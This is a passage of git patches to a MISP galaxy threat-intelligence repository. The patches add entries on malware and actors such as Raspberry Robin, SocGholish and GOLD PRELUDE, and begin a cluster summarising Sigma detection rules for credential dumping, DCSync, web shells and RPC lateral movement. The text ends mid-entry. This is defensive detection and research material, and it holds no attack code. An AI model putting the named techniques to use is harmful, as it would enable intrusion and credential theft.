"https://www.bleepingcomputer.com/news/security/new-icedid-banking-trojan-discovered/", "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", - "http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html" + "http://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ], + "synonyms": [ + "BokBot" ] }, "related": [ @@ -1193,5 +1197,5 @@ "value": "Dark Tequila" } ], - "version": 16 + "version": 17 } diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 6c50ff2..3cfe156 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -7315,7 +7315,8 @@ "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://experience.mandiant.com/trending-evil/p/1", "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", + "https://redcanary.com/threat-detection-report/threats/socgholish/" ], "synonyms": [ "FakeUpdate", diff --git a/clusters/ransomware.json b/clusters/ransomware.json index eca2ed9..6cf1624 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -14017,7 +14017,8 @@ ".Clop2" ], "refs": [ - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ] }, "uuid": "21b349c3-ede2-4e11-abda-1444eb272eff", diff --git a/clusters/rat.json b/clusters/rat.json index c87ed04..8e340bb 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -3216,6 +3216,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "ad6d0074-476e-4c05-b0d9-79404f71bbba", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" } ], "uuid": "3c1003a2-8364-467a-b9b8-fcc19724a9b5", diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index b4923fb..f8bcc41 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9884,6 +9884,29 @@ }, "uuid": "6a83b2bf-0c51-4c9b-89b0-35df7cab1dd5", "value": "APT-Q-12" + }, + { + "description": "GOLD PRELUDE is a financially motivated cybercriminal threat group that operates the SocGholish (aka FAKEUPDATES) malware distribution network. GOLD PRELUDE operates a large global network of compromised websites, frequently running vulnerable content management systems (CMS), that redirect into a malicious traffic distribution system (TDS). The TDS, which researchers at Avast have named Parrot TDS, uses opaque criteria to select victims to serve a fake browser update page. These pages, which are customized to the specific visiting browser software, download the JavaScript-based SocGholish payload frequently embedded within a compressed archive.", + "meta": { + "refs": [ + "https://www.secureworks.com/research/threat-profiles/gold-prelude" + ], + "synonyms": [ + "TA569", + "UNC1543" + ] + }, + "related": [ + { + "dest-uuid": "cd32b19e-c365-4efc-9998-548e50e04a4c", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + } + ], + "uuid": "8134c96d-d6ed-49cc-99d6-fe74c0636387", + "value": "GOLD PRELUDE" } ], "version": 250 diff --git a/clusters/tool.json b/clusters/tool.json index 4004769..bdf8e23 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8575,7 +8575,8 @@ "description": "BumbleBee is a modular backdoor that comprises two applications, a server and a client application (a master and slaver application, respectively in the malware’s jargon). Once the client application is deployed on the target computer (these are commonly local government devices), threat actors can control the machine using the server module. Let us take a deeper look into this backdoor.", "meta": { "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html" + "https://www.trendmicro.com/en_us/research/22/i/buzzing-in-the-background-bumblebee-a-new-modular-backdoor-evolv.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "type": [ "backdoor" @@ -8612,7 +8613,75 @@ }, "uuid": "e10ff67f-8b52-4648-9217-da53ff7d52f9", "value": "SharPyShell" + }, + { + "description": "Raspberry Robin has evolved from being a widely distributed worm with no observed post-infection actions when Red Canary first reported it in May 2022, to one of the largest malware distribution platforms currently active. ", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ], + "type": "Worm" + }, + "uuid": "70dc3e92-9b3b-4fc1-abd2-d98985d83225", + "value": "Raspberry Robin" + }, + { + "description": "The Fauppod malware delivers a JavaScript backdoor to gain unauthorized access to the target system and deploy additional malware.", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ] + }, + "uuid": "9f0224f6-dd46-4a23-a3fd-d295abae5f93", + "value": "Fauppod" + }, + { + "description": "This threat takes multiple screenshots of your desktop. It saves all screenshots in a .dat file that becomes a collection of bitmap images. According to Group-IB, FlawedAmmyy.downloader and Truebot would have been developed by the same individual", + "meta": { + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" + ], + "synonyms": [ + "Silence" + ] + }, + "related": [ + { + "dest-uuid": "ad6d0074-476e-4c05-b0d9-79404f71bbba", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "uuid": "ad6d0074-476e-4c05-b0d9-79404f71bbba", + "value": "Truebot" + }, + { + "description": "FAKEUPDATES is a downloader written in JavaScript that communicates via HTTP. Supported payload types include executables and JavaScript. It writes the payloads to disk prior to launching them. FAKEUPDATES has led to further compromise via additional malware families that include CHTHONIC, DRIDEX, EMPIRE, KOADIC, DOPPELPAYMER, and AZORULT.\nFAKEUPDATES has been heavily used by UNC1543,a financially motivated group.\n\nSocGholish, first appearing in late 2017 and rising to prominence in mid-2018, has been used to describe both the web drive-by download network used to infect victims and the JavaScript-based loader malware that targets Windows systems.", + "meta": { + "refs": [ + "https://www.malwarebytes.com/blog/news/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.secureworks.com/research/threat-profiles/gold-prelude" + ], + "synonyms": [ + "FakeUpdate", + "SocGholish" + ] + }, + "related": [ + { + "dest-uuid": "8134c96d-d6ed-49cc-99d6-fe74c0636387", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" + } + ], + "uuid": "cd32b19e-c365-4efc-9998-548e50e04a4c", + "value": "FakeUpdates" } ], - "version": 156 + "version": 157 } From 91d535925f122038cb5da8a9415fb8a8727633bb Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 15 Nov 2022 13:36:49 +0100 Subject: [PATCH 150/167] version fix --- clusters/malpedia.json | 3 +-- clusters/threat-actor.json | 2 +- clusters/tool.json | 3 ++- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index 3cfe156..6c50ff2 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -7315,8 +7315,7 @@ "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://experience.mandiant.com/trending-evil/p/1", "https://www.lac.co.jp/lacwatch/report/20220407_002923.html", - "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm", - "https://redcanary.com/threat-detection-report/threats/socgholish/" + "https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm" ], "synonyms": [ "FakeUpdate", diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 54dfbb7..ec2f959 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9896,5 +9896,5 @@ "value": "GOLD PRELUDE" } ], - "version": 251 + "version": 252 } diff --git a/clusters/tool.json b/clusters/tool.json index bdf8e23..7678317 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8663,7 +8663,8 @@ "refs": [ "https://www.malwarebytes.com/blog/news/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms", "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://www.secureworks.com/research/threat-profiles/gold-prelude" + "https://www.secureworks.com/research/threat-profiles/gold-prelude", + "https://redcanary.com/threat-detection-report/threats/socgholish/" ], "synonyms": [ "FakeUpdate", From 9fc65c0e341d35b8afeefaa2b3c8a15c90b24244 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 15 Nov 2022 13:37:02 +0100 Subject: [PATCH 151/167] version fix --- clusters/ransomware.json | 2 +- clusters/rat.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 6cf1624..5878212 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24605,5 +24605,5 @@ "value": "Lorenz Ransomware" } ], - "version": 108 + "version": 109 } diff --git a/clusters/rat.json b/clusters/rat.json index 8e340bb..d41e703 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -3544,5 +3544,5 @@ "value": "Ragnatela" } ], - "version": 40 + "version": 41 } From 2269f4decd7740596224cca3414c9aeaead42e65 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Tue, 15 Nov 2022 13:56:53 +0100 Subject: [PATCH 152/167] fix tool type --- clusters/tool.json | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 7678317..32ddca1 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8620,7 +8620,9 @@ "refs": [ "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], - "type": "Worm" + "type": [ + "Worm" + ] }, "uuid": "70dc3e92-9b3b-4fc1-abd2-d98985d83225", "value": "Raspberry Robin" From 473f1a13aae93c1fe90ef4278de30269ccda06f8 Mon Sep 17 00:00:00 2001 From: Jstnk9 Date: Tue, 15 Nov 2022 22:56:18 +0100 Subject: [PATCH 153/167] galaxy related to sigma rtules galaxy related to sigma rtules --- clusters/sigma-rules.json | 62610 ++++++++++++++++++++++++++++++++++++ galaxies/sigma-rules.json | 9 + 2 files changed, 62619 insertions(+) create mode 100644 clusters/sigma-rules.json create mode 100644 galaxies/sigma-rules.json diff --git a/clusters/sigma-rules.json b/clusters/sigma-rules.json new file mode 100644 index 0000000..a3a4a5a --- /dev/null +++ b/clusters/sigma-rules.json @@ -0,0 +1,62610 @@ +{ + "authors": [ + "@Joseliyo_Jstnk" + ], + "category": "rules", + "description": "MISP galaxy cluster based on Sigma Rules.", + "name": "Sigma-Rules", + "source": "https://github.com/jstnk9/MISP/tree/main/misp-galaxy/sigma", + "type": "sigma-rules", + "uuid": "9cf7cd2e-d5f1-48c4-9909-7896ba1c96b2", + "values": [ + { + "description": "Detects a highly relevant Antivirus alert that reports an exploitation framework", + "uuid": "238527ad-3c2c-4e4f-a1f6-92fd63adb864", + "value": "Antivirus Exploitation Framework Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_exploiting.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2018/09/09", + "filename": "av_exploiting.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool", + "uuid": "fa0c05b6-8ad3-468d-8231-c1cbccb64fba", + "value": "Antivirus Hacktool Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/08/16/antivirus-event-analysis-cheat-sheet-v1-8-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_hacktool.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204" + ], + "creation_date": "2021/08/16", + "filename": "av_hacktool.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a password dumper", + "uuid": "78cc2dd2-7d20-4d32-93ff-057084c38b93", + "value": "Antivirus Password Dumper Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2018/09/08/antivirus-event-analysis-cheat-sheet-v1-4/", + "https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_password_dumper.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558", + "attack.t1003.001", + "attack.t1003.002" + ], + "creation_date": "2018/09/09", + "filename": "av_password_dumper.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .", + "uuid": "6fe1719e-ecdf-4caf-bffe-4f501cb0a561", + "value": "Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection", + "meta": { + "refs": [ + "https://twitter.com/mvelazco/status/1410291741241102338", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_printernightmare_cve_2021_34527.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/01", + "filename": "av_printernightmare_cve_2021_34527.yml", + "author": "Sittikorn S, Nuttakorn T, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unlikely, or pending PSP analysis" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports ransomware", + "uuid": "4c6ca276-d4d0-4a8c-9e4c-d69832f8671f", + "value": "Antivirus Ransomware Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/?s=antivirus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_ransomware.yml" + ], + "tags": [ + "attack.t1486" + ], + "creation_date": "2022/05/12", + "filename": "av_ransomware.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects an Antivirus alert in a highly relevant file path or with a relevant file name", + "uuid": "c9a88268-0047-4824-ba6e-4d81ce0b907c", + "value": "Antivirus Relevant File Paths Alerts", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_relevant_files.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ], + "creation_date": "2018/09/09", + "filename": "av_relevant_files.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.", + "uuid": "fdf135a2-9241-4f96-a114-bb404948f736", + "value": "Antivirus Web Shell Detection", + "meta": { + "refs": [ + "https://www.nextron-systems.com/2021/03/25/antivirus-event-analysis-cheat-sheet-v1-8/", + "https://github.com/tennc/webshell", + "https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbafa056a76fe0cf884b7f8819/detection", + "https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection", + "https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection", + "https://www.virustotal.com/gui/file/e841675a4b82250c75273ebf0861245f80c6a1c3d5803c2d995d9d3b18d5c4b5/detection", + "https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection", + "https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection", + "https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/antivirus/av_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2018/09/09", + "filename": "av_webshell.yml", + "author": "Florian Roth, Arnim Rupp", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "antivirus", + "logsource.product": "No established product" + } + }, + { + "description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", + "uuid": "fd435618-981e-4a7c-81f8-f78ce480d616", + "value": "Django Framework Exceptions", + "meta": { + "refs": [ + "https://docs.djangoproject.com/en/1.11/ref/exceptions/", + "https://docs.djangoproject.com/en/1.11/topics/logging/#django-security", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/django/appframework_django_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/05", + "filename": "appframework_django_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "django" + } + }, + { + "description": "Generic rule for SQL exceptions in Python according to PEP 249", + "uuid": "19aefed0-ffd4-47dc-a7fc-f8b1425e84f9", + "value": "Python SQL Exceptions", + "meta": { + "refs": [ + "https://www.python.org/dev/peps/pep-0249/#exceptions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/python/app_python_sql_exceptions.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2017/08/12", + "filename": "app_python_sql_exceptions.yml", + "author": "Thomas Patzke", + "level": "medium", + "falsepositive": [ + "Application bugs" + ], + "logsource.category": "application", + "logsource.product": "python" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task via ATSvc", + "uuid": "0fcd1c79-4eeb-4746-aba9-1b458f7a79cb", + "value": "Remote Schedule Task Lateral Movement via ATSvc", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_atsvc_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks via AtScv", + "uuid": "f177f2bc-5f3e-4453-b599-57eefce9a59c", + "value": "Remote Schedule Task Recon via AtScv", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_atsvc_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_atsvc_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks.", + "uuid": "56fda488-113e-4ce9-8076-afc2457922c3", + "value": "Possible DCSync Attack", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1033/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-DRSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_dcsync_attack.yml" + ], + "tags": [ + "attack.t1033" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_dcsync_attack.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR", + "uuid": "5f92fff9-82e2-48eb-8fc1-8b133556a551", + "value": "Remote Encrypting File System Abuse", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-EFSR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_efs_abuse.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_efs_abuse.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Legitimate usage of remote file encryption" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to get event log information via EVEN or EVEN6", + "uuid": "2053961f-44c7-4a64-b62d-f6e72800af0d", + "value": "Remote Event Log Recon", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://github.com/zeronetworks/rpcfirewall", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_eventlog_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_eventlog_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Remote administrative tasks on Windows Events" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to create or execute a scheduled task", + "uuid": "ace3ff54-e7fd-46bd-8ea0-74b49a0aca1d", + "value": "Remote Schedule Task Lateral Movement via ITaskSchedulerService", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1053/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1053", + "attack.t1053.002" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_itaskschedulerservice_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to read information about scheduled tasks", + "uuid": "7f7c49eb-2977-4ac8-8ab0-ab1bae14730e", + "value": "Remote Schedule Task Recon via ITaskSchedulerService", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0007/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/d1058a28-7e02-4948-8b8d-4a347fa64931", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-TSCH.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_itaskschedulerservice_recon.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/01", + "filename": "rpc_firewall_itaskschedulerservice_recon.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR", + "uuid": "bc3a4b0c-e167-48e1-aa88-b3020950e560", + "value": "Remote Printing Abuse for Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pan/e44d984c-07d3-414c-8ffc-f8c8ad8512a8", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RPRN-PAR.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_printing_lateral_movement.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_printing_lateral_movement.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Actual printing" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.", + "uuid": "68050b10-e477-4377-a99b-3721b422d6ef", + "value": "Remote DCOM/WMI Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/tactics/TA0008/", + "https://attack.mitre.org/techniques/T1021/003/", + "https://attack.mitre.org/techniques/T1047/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_dcom_or_wmi.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.003", + "attack.t1047" + ], + "creation_date": "2022/01/01", + "filename": "rpc_firewall_remote_dcom_or_wmi.yml", + "author": "Sagie Dulce, Dekel Paz", + "level": "high", + "falsepositive": [ + "Some administrative tasks on remote host" + ], + "logsource.category": "application", + "logsource.product": "rpc_firewall" + } + }, + { + "description": "Detects remote RPC calls to modify the registry and possible execute code", + "uuid": "35c55673-84ca-4e99-8d09-e334f3c29539", + "value": "Remote Registry Lateral Movement", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1112/", + "https://attack.mitre.org/tactics/TA0008/", + "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rrp/0fa3191d-bb79-490a-81bd-54c2601b7a78", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-RRP.md", + "https://github.com/zeronetworks/rpcfirewall", + "https://zeronetworks.com/blog/stopping_lateral_movement_via_the_rpc_firewall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_registry_lateral_movement.yml" + ], + "tags": [ + 